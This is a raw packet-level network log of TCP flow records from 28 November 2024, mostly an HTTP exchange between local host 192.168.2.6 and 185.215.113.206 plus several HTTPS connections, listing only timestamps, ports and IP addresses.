Nov 28, 2024 00:19:21.205602884 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.205666065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.205692053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.205718994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.206959963 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.207021952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.207216978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.207281113 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.208148003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.208242893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.208268881 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.208288908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.209471941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.209542990 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.209569931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.209620953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.210652113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.210695028 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.210737944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.210864067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.211951971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.212055922 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.212186098 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.212297916 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.213215113 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.213284016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.213310003 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.213381052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.214490891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.214571953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.214943886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.215048075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.215745926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.215836048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.215993881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.216109037 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.217041016 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.217148066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.217180014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.217225075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.218321085 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.218419075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.218430042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.218514919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.219579935 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.219683886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.219703913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.219778061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.220848083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.220963955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.220973015 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.221024036 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.222141027 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.222219944 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.222239971 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.222362995 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.223419905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.223515987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.223542929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.223659992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.224667072 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.224740982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.245738983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.245752096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.245901108 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.246378899 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.246460915 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.246490002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.246622086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.247643948 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.247742891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.247749090 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.247880936 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.248904943 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.248974085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.249320030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.249419928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.249440908 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.249512911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.250598907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.250652075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.250679016 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.250754118 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.251867056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.251946926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.251974106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.252065897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.253174067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.253274918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.253315926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.253954887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.254425049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.254535913 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.254631996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.255692959 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.255801916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.255808115 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.255913019 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.257074118 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.257230043 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.257256031 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.257401943 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.347639084 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.347681999 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.347695112 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.347784042 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.347804070 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.347826958 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.347896099 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.359894037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.359952927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.360156059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.360198975 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.360688925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.360759974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.360784054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.360866070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.361726046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.361768961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.362240076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.362330914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.362384081 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.363533974 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.363625050 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.363687038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.364871025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.364883900 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.364952087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.366509914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.366569042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.366599083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.366643906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.367580891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.367651939 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.367712975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.367785931 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.368609905 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.368664980 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.368761063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.368813992 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.369885921 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.369927883 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.369959116 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.370032072 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.371162891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.371212959 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.371246099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.371299982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.372432947 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.372495890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.372704983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.373724937 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.373786926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.373985052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.374037027 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.374969006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.375021935 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.375144005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.375185013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.376251936 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.376384974 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.376425982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.376471043 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.377603054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.377646923 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.377739906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.377783060 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.378810883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.378856897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.378978014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.379082918 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.380074024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.380117893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.380199909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.380242109 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.381356001 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.381422997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.381496906 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.382637024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.382797956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.382860899 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.383946896 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.384212971 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.384259939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.384310961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.397248030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.397370100 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.397469997 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.397874117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.397938967 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.397986889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.398031950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.399137020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.399194956 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.399234056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.399384022 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.400417089 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.400490999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.400506973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.400532961 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.401745081 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.401793003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.401797056 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.401833057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.403053999 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.403127909 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.403284073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.403332949 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.404268026 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.404450893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.404515982 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.405530930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.405584097 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.405683994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.406811953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.406873941 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.406925917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.407011986 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.408077002 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.408093929 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408118010 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408138990 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408179045 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.408179998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.408180952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.408190966 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408227921 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.408241987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.408252001 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.408687115 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408706903 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408723116 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408802986 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.408822060 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.408869982 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.409343004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.409396887 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.409481049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.409549952 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.410651922 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.410715103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.410764933 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.410769939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.410782099 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.410798073 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.410830021 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.410830975 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.410842896 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.410891056 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.410907030 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.411920071 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.411969900 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.412039042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.412077904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.413225889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.413299084 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.413386106 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.413463116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.414474964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.414546013 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.414701939 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.414952040 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.415795088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.415824890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.415872097 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.415908098 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.417032003 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.417258024 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.417309046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.418323994 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.418421984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.418550968 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.418596983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.419575930 CET	80	49714	185.215.113.206	192.168.2.6
Nov 28, 2024 00:19:21.419728041 CET	49714	80	192.168.2.6	185.215.113.206
Nov 28, 2024 00:19:21.532356024 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.532382965 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.532486916 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.532488108 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.532501936 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.532562971 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.575752974 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:21.575838089 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:21.575854063 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:21.575866938 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:21.575915098 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:21.575936079 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:21.576023102 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:21.576037884 CET	443	49719	20.31.169.57	192.168.2.6
Nov 28, 2024 00:19:21.576083899 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:21.577770948 CET	49719	443	192.168.2.6	20.31.169.57
Nov 28, 2024 00:19:21.585016012 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.585036039 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.585119009 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.585131884 CET	443	49723	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.585175037 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.585175037 CET	49723	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.588016033 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:21.588078022 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:21.588133097 CET	49720	443	192.168.2.6	2.16.158.43
Nov 28, 2024 00:19:21.588145971 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:21.588233948 CET	49720	443	192.168.2.6	2.16.158.43
Nov 28, 2024 00:19:21.588746071 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:21.588812113 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:21.588859081 CET	49720	443	192.168.2.6	2.16.158.43
Nov 28, 2024 00:19:21.604199886 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.604226112 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.604811907 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.604826927 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.604897976 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.606055021 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.606076956 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.606117964 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.606127024 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.606156111 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.606175900 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.606950045 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.606973886 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.607008934 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.607021093 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.607058048 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.607074022 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.626693964 CET	49720	443	192.168.2.6	2.16.158.43
Nov 28, 2024 00:19:21.626704931 CET	443	49720	2.16.158.43	192.168.2.6
Nov 28, 2024 00:19:21.650959969 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.650981903 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.651062965 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.651073933 CET	443	49721	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.651711941 CET	49721	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.652825117 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.652844906 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.652920961 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.652930021 CET	443	49724	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.653208971 CET	49724	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.654144049 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.654161930 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.654226065 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.654241085 CET	443	49722	150.171.27.10	192.168.2.6
Nov 28, 2024 00:19:21.654284000 CET	49722	443	192.168.2.6	150.171.27.10
Nov 28, 2024 00:19:21.702728987 CET	443	49723	150.171.27.10	192.168.2.6
